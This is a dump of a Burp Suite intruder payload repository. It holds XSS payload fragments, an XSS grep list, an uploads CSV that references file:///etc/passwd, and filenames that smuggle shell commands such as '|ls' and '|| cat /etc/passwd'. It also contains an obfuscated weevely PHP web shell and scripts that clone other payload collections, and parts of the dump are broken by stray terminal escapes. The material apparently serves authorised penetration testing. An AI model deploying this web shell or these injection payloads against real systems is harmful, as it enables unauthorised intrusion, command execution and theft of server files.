├── BurpAttacks ├── 01_burpattack_basic_methods ├── 01_burpattack_dirbuster ├── 01_burpattack_dirbuster_toplist ├── 01_burpattack_fast_fuzz ├── 02_burpattack_vulnerabilities_all ├── 03_burpattack_find_inject ├── 03_burpattack_find_injectx ├── 04_burpattack_basic_fuzz ├── 04_burpattack_sqli_quick_fuzz ├── 05_burpattack_full_fuzz ├── burp_config ├── burpattack_basic_auth_brute ├── burpattack_brute_force ├── burpattack_command_exec ├── burpattack_find_injectx ├── burpattack_nums_1-100 ├── burpattack_overflow ├── burpattack_server_side_include ├── burpattack_shellshock ├── burpattack_sqli_authbypass ├── burpattack_sqli_error_based ├── burpattack_sqli_quick_fuzz ├── burpattack_sqli_time_based ├── burpattack_url_attacks ├── burpattack_wordpress ├── burpattack_xmlrpc_dos ├── burpattack_xpath_injection ├── burpattack_xss ├── burpattack_xss_stored ├── burpattack_xxe ├── burpconfig_default ├── burprepeater_xxe └── shellshock_attack ├── BurpBountyPayloads ├── ACTIVE - HTTP Interaction.bb ├── ACTIVE - HTTP Response Splitting.bb ├── ACTIVE - Open Redirect.bb ├── ACTIVE - Reflected Values.bb ├── ACTIVE - Remote Code Execution.bb ├── ACTIVE - SQL Injection (Blind).bb ├── ACTIVE - SQL Injection (Error).bb ├── ACTIVE - Traversal.bb ├── ACTIVE - XSS.bb ├── PASSIVE - Basic Auth Check.bb ├── PASSIVE - CMS Detection.bb ├── PASSIVE - Cisco ASA Device Found.bb ├── PASSIVE - Credentials Found.bb ├── PASSIVE - Forgot Password Form.bb ├── PASSIVE - Form Submission Found.bb ├── PASSIVE - Interesting Pages.bb ├── PASSIVE - Java De-Serialization.bb ├── PASSIVE - Jenkins Found.bb ├── PASSIVE - Login Page Found.bb ├── PASSIVE - Private Key Found.bb ├── PASSIVE - Redirect Found.bb ├── PASSIVE - Registration Page Found.bb ├── PASSIVE - Session Found.bb ├── PASSIVE - Subscribe Form Found.bb ├── PASSIVE - Token Found.bb ├── PASSIVE - Version Disclosure.bb └── PASSIVE - WAF Found.bb ├── BurpsuiteIntruderPayloads.png ├── FuzzLists ├── auth_bypass.txt ├── bad_chars.txt ├── basic_fuzz.txt ├── command_exec.txt ├── dirbuster-cgi.txt ├── dirbuster-dirs.txt ├── dirbuster-quick.txt ├── dirbuster-top1000.txt ├── full_fuzz.txt ├── grep_injectx.txt ├── lfi.txt ├── overflow-dos.txt ├── overflow.txt ├── passwords_long.txt ├── passwords_medium.txt ├── passwords_quick.txt ├── payload_injectx.txt ├── quick_fuzz.txt ├── sqli-error-based.txt ├── sqli-time-based.txt ├── sqli-union-select.txt ├── sqli_escape_chars.txt ├── ssi_quick.txt ├── toplist-sorted.txt ├── traversal-short.txt ├── traversal.txt ├── url_payloads.txt ├── usernames.txt ├── vulnerability_discovery.txt ├── xml-attacks.txt ├── xss_escape_chars.txt ├── xss_find_inject.txt ├── xss_funny_stored.txt ├── xss_grep.txt ├── xss_payloads_quick.txt ├── xss_remote_payloads-http.txt ├── xss_remote_payloads-https.txt └── xss_swf_fuzz.txt ├── OWASPTestingChecklist_v_1.0.xls ├── Plugins ├── BurpKit-1.02-pre.jar ├── jruby-complete-9.0.0.0.jar └── jython-standalone-2.7.0.jar ├── README.md ├── Uploads ├── " ├── " -- ├── "> 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /FuzzLists/xss_grep.txt: -------------------------------------------------------------------------------- 1 | XSS 2 | INJECTX 3 | 1111111 4 | XXXXXXX 5 | alert( 6 | prompt( 7 | onload= 8 | onerror= 9 | onmouseover= 10 | location.href= 11 | document.cookie( 12 | crowdshield 13 | //INJECTX 11 | 12 |

a//INJECTX 18 | 19 |

a 20 | 21 | 22 | 23 | //INJECTX 35 | //INJECTX 36 | //INJECTX 37 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Uploads/swf/xssproject.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/swf/xssproject.swf -------------------------------------------------------------------------------- /Uploads/uploads.csv: -------------------------------------------------------------------------------- 1 | file,id,external_id__v,rendition_type__v,major_version_number__v,minor_version_number__v 2 | ,2857,,,0,1 3 | ,2880,,,0,1 4 | ,2912,,,0,1 5 | /1763/122/0_1/Lighthouse.jpg,122,,,0,1 6 | ,2804,,,0,1 7 | ,2849,,,0,1 8 | ,2812,,,0,1 9 | ,2904,,,0,1 10 | file:///etc/passwd,107,,,0,1 11 | ,2872,,,0,1 12 | /1763/69/0_6/Screen Shot 2016-06-15 at 20.45.02.png,69,,,0,6 13 | ,2811,,,0,1 14 | ,2856,,,0,1 15 | ,2905,,,0,1 16 | /1763/123/0_1/cathorse.jpg,123,,,0,1 17 | ,2805,,,0,1 18 | ,2911,,,0,1 19 | ,2871,,,0,1 20 | ,2920,,,0,1 21 | ,2865,,,0,1 22 | ,2820,,,0,1 23 | ,2881,,,0,1 24 | ,2806,,,0,1 25 | ,2910,,,0,1 26 | ,2906,,,0,1 27 | ,2810,,,0,1 28 | ,2882,,,0,1 29 | ,2947,,,0,1 30 | ,2821,,,0,1 31 | /1763/105/0_1/x.gif,105,,,0,1 32 | ,2913,,,0,1 33 | /1763/87/0_1/pENTESTCSRF.jpg,87,,,0,1 34 | ,2921,,,0,1 35 | ,2874,,,0,1 36 | ,2847,,,0,1 37 | ,2939,,,0,1 38 | ,3858,,,0,1 39 | ,2839,,,0,1 40 | ,2813,,,0,1 41 | ,2864,,,0,1 42 | ,2903,,,0,1 43 | ,2803,,,0,1 44 | ,2867,,,0,1 45 | ,2854,,,0,1 46 | ,2938,,,0,1 47 | ,2876,,,0,1 48 | /1763/103/0_1/prueba.txt,103,,,0,1 49 | ,2823,,,0,1 50 | ,2931,,,0,1 51 | ,2891,,,0,1 52 | ,2884,,,0,1 53 | /1763/248/0_1/cathorse.jpg,248,,,0,1 54 | /1763/94/0_3/XXE.docx,94,,,0,3 55 | ,2815,,,0,1 56 | ,2798,,,0,1 57 | ,2900,,,0,1 58 | ,2868,,,0,1 59 | ,2945,,,0,1 60 | ,2807,,,0,1 61 | ,3874,,,0,1 62 | /1763/1463/0_1/prueba.txt,1463,,,0,1 63 | ,2924,,,0,1 64 | ,2862,,,0,1 65 | ,2937,,,0,1 66 | ,2875,,,0,1 67 | ,2830,,,0,1 68 | /1763/104/0_1/Chrysanthemum.jpg,104,,,0,1 69 | ,2869,,,0,1 70 | ,2801,,,0,1 71 | /1763/704/0_1/cathorse.jpg,704,,,0,1 72 | ,3859,,,0,1 73 | ,2808,,,0,1 74 | ,2946,,,0,1 75 | ,2814,,,0,1 76 | ,2889,,,0,1 77 | ,2863,,,0,1 78 | ,2793,,,0,1 79 | /1763/98/0_1/file.zip,98,,,0,1 80 | ,2925,,,0,1 81 | ,2917,,,0,1 82 | /1763/124/0_1/cathorse.jpg,124,,,0,1 83 | ,2802,,,0,1 84 | ,2890,,,0,1 85 | ,2828,,,0,1 86 | ,2932,,,0,1 87 | ,2855,,,0,1 88 | ,2940,,,0,1 89 | ,2896,,,0,1 90 | ,2883,,,0,1 91 | ,2799,,,0,1 92 | ,2835,,,0,1 93 | ,2870,,,0,1 94 | ,2848,,,0,1 95 | ,2822,,,0,1 96 | ,2919,,,0,1 97 | ,2795,,,0,1 98 | ,2895,,,0,1 99 | ,2819,,,0,1 100 | ,2942,,,0,1 101 | ,70,,,0,1 102 | ,2850,,,0,1 103 | ,2834,,,0,1 104 | ,2934,,,0,1 105 | ,2926,,,0,1 106 | ,2842,,,0,1 107 | ,2887,,,0,1 108 | ,2879,,,0,1 109 | ,2894,,,0,1 110 | ,2843,,,0,1 111 | ,2943,,,0,1 112 | ,2918,,,0,1 113 | ,2888,,,0,1 114 | ,2818,,,0,1 115 | ,2933,,,0,1 116 | ,2833,,,0,1 117 | ,2878,,,0,1 118 | ,2927,,,0,1 119 | ,2794,,,0,1 120 | /1763/99/0_1/file.zip,99,,,0,1 121 | ,2827,,,0,1 122 | ,3876,,,0,1 123 | ,2836,,,0,1 124 | ,2944,,,0,1 125 | ,2897,,,0,1 126 | ,2936,,,0,1 127 | ,2844,,,0,1 128 | ,2797,,,0,1 129 | ,2809,,,0,1 130 | ,2885,,,0,1 131 | /1763/61/0_1/23CmdCCalcA0.PNG,61,,,0,1 132 | /1763/102/0_1/Payload.svg,102,,,0,1 133 | ,2826,,,0,1 134 | ,2892,,,0,1 135 | ,2800,,,0,1 136 | ,2877,,,0,1 137 | ,2792,,,0,1 138 | ,2916,,,0,1 139 | ,2909,,,0,1 140 | ,2929,,,0,1 141 | ,2851,,,0,1 142 | /1763/71/0_1/23CmdCCalcA0.PNG,71,,,0,1 143 | ,2829,,,0,1 144 | ,2816,,,0,1 145 | ,2841,,,0,1 146 | ,2941,,,0,1 147 | ,2838,,,0,1 148 | ,2923,,,0,1 149 | ,2831,,,0,1 150 | ,2791,,,0,1 151 | ,2898,,,0,1 152 | ,2853,,,0,1 153 | /1763/62/0_2/150.jpg,62,,,0,2 154 | ,2915,,,0,1 155 | ,2907,,,0,1 156 | ,2861,,,0,1 157 | /1763/140/0_1/Koala.jpg,140,,,0,1 158 | ,2930,,,0,1 159 | ,2824,,,0,1 160 | ,2837,,,0,1 161 | ,2852,,,0,1 162 | ,2908,,,0,1 163 | ,2859,,,0,1 164 | ,2846,,,0,1 165 | ,2914,,,0,1 166 | ,2901,,,0,1 167 | ,2825,,,0,1 168 | /1763/120/0_1/Desert.jpg,120,,,0,1 169 | /1763/68/0_1/Basic Sample Resume.docx,68,,,0,1 170 | /1763/63/0_2/x22>%2522>.jpeg.jpeg,63,,,0,2 171 | ,2817,,,0,1 172 | ,2866,,,0,1 173 | ,2840,,,0,1 174 | ,2902,,,0,1 175 | ,2928,,,0,1 176 | /1763/113/0_1/prueba.txt,113,,,0,1 177 | ,2893,,,0,1 178 | /1763/139/0_1/87817.jpg,139,,,0,1 179 | /1763/121/0_1/Jellyfish.jpg,121,,,0,1 180 | ,91,,,2,0 181 | ,2858,,,0,1 182 | ,2796,,,0,1 183 | ,2845,,,0,1 184 | ,2832,,,0,1 185 | /1763/106/0_1/87817.jpg,106,,,0,1 186 | ,2948,,,0,1 187 | ,2935,,,0,1 188 | ,2922,,,0,1 189 | ,2860,,,0,1 190 | ,2873,,,0,1 191 | /1763/119/0_1/Tulips.jpg,119,,,0,1 192 | ,2886,,,0,1 193 | ,2899,,,0,1 194 | -------------------------------------------------------------------------------- /Uploads/weevely_shell.php: -------------------------------------------------------------------------------- 1 | $d")[K;@[Ksession_destroy();}}}}'; 4 | $e='r=[K$_SERV[KER;[K$rr=@[K$r["HT[KTP_REF[KERER"];$ra[K=@[K$r["H[KTTP_ACCEPT_[KL[KANGUAG[KE"];if($rr&[K&$ra[K){'; 5 | $K='ray[K_key_exi[K[Ksts($i[K,$s)){[K$[Ks[$i].=$p;$e=strp[Kos($[Ks[$i[K],$f[K);if($e){$k=$k[Kh.$[Kkf;ob_st[Ka'; 6 | $p=');$s=[K&$[K_SESSIO[KN;$ss="subs[Ktr";$sl=[K"strt[Kolower"[K;$i[K=$m[K[1][0][K.$m[1][1][K;$[Kh=$sl($ss(m'; 7 | $N='d[K[K5($i.$kh),[K0,3));[K$f=$sl($[K[Kss(md5($i.$kf[K),0[K,[K3));$p="[K";[Kfor($z[K=1;$z 18 | -------------------------------------------------------------------------------- /Uploads/white_hat%0a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/white_hat%0a.png -------------------------------------------------------------------------------- /Uploads/xss.html\x00.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/xss.html\x00.jpg -------------------------------------------------------------------------------- /Uploads/xsspng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/xsspng.png -------------------------------------------------------------------------------- /Uploads/xsspng.png\x00.csv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/xsspng.png\x00.csv -------------------------------------------------------------------------------- /Uploads/|ls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/|ls -------------------------------------------------------------------------------- /Uploads/|ls%20-al: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/|ls%20-al -------------------------------------------------------------------------------- /Uploads/|| cat %2fetc%2fpasswd;test.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1N3/IntruderPayloads/9b84328441e0b1d5b63764941bfd72a2460dba5d/Uploads/|| cat %2fetc%2fpasswd;test.jpg -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | mkdir Repositories/ 3 | cd Repositories 4 | git clone --depth=1 https://github.com/swisskyrepo/PayloadsAllTheThings.git 5 | git clone --depth=1 https://github.com/xmendez/wfuzz.git 6 | git clone --depth=1 https://github.com/fuzzdb-project/fuzzdb.git 7 | git clone --depth=1 https://github.com/minimaxir/big-list-of-naughty-strings.git 8 | git clone --depth=1 https://github.com/foospidy/payloads.git 9 | git clone --depth=1 https://github.com/danielmiessler/RobotsDisallowed.git 10 | git clone --depth=1 https://github.com/danielmiessler/SecLists.git 11 | -------------------------------------------------------------------------------- /update.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Shoutz to @vay3t 3 | cd Repositories 4 | cd PayloadsAllTheThings/ && git pull && cd .. 5 | cd wfuzz/ && git pull && cd .. 6 | cd fuzzdb/ && git pull && cd .. 7 | cd big-list-of-naughty-strings/ && git pull && cd .. 8 | cd payloads/ && git pull && cd .. 9 | cd RobotsDisallowed/ && git pull && cd .. 10 | cd SecLists/ && git pull && cd .. 11 | --------------------------------------------------------------------------------